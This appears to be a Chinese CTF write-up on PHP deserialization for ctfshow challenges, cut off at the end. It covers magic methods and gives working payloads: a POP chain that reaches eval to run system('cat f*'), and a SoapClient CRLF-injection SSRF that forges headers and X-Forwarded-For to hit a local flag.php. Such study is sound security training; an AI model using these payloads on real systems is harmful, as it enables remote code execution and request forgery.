序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
了解即可
二进制格式
字节数组
json字符串
xml字符串
学习路线:推荐y4师傅写的反序列化
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
先观察ctfShowUser
类,反序列化的时候会先实例化info
这个类,接着再销毁的时候调用类中的getInfo
方法;很显然调用的是类info
中的getInfo
方法,而我们需要调用类backDoor
中的getInfo
方法,因为其中含有eval
可以命令执行。所以我们把本来调用的类改成backDoor
,构造姿势:
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
利用+号绕过,注意需要url编码为 %2B
考点:php原生类
SoapClient
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一
种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果
去调用了一个不存在的函数,会去调用 __call 方法
CRLF注入攻击
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
在上面的图中,我们可以看到,SOAPAction
是可控的点,我们注入两个\r\n
来控制POST请求头
但还有一个问题需要解决,POST数据指定请求头为Content-Type:application/x-www-form-urlencoded
,我们需要控制Content-Type
,但从上图中可以发现它位于SOAPAtion
上方。
继续往上,可以发现User-Agent
位于Content-Type
上方,这个位置也可以进行注入,所以我们再User-Agent
进行注入
$post_string = "lin=cool";
$a = new SoapClient(null, array('location' => 'http://127.0.0.1:5555/path', 'user_agent' => "lin\r\nContent-Type:application/x-www-form-urlencoded\r\n" . "Content-Length: " . (string)strlen($post_string) . "\r\n\r\n" . $post_string, 'uri' => "aaa"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
我们在代码审计时如果发现反序列化点,但在代码中却无法构造pop链,可以利用php内置类来进行反序列化
相关参数都给足了,利用ssrf访问flag.php,然后构造post数据token=ctfshow
还有xff请求头,paylaod如下
$post_string = "token=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"lin\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo urlencode($b);
这里X-Forwarded-For
里面需要两个127.0.0.1
的原因是docker环境cloudfare代理所导致
维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:
示例:X-Forwarded-For:203.0.113.1
如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:
示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102
所以我们传入参数vip,然后再访问flag.txt就可以了
error_reporting(0);
#$id= "$admin";
#show_source(__FILE__);
#if(unserialize($id) === "$admin")
$a = new Exception("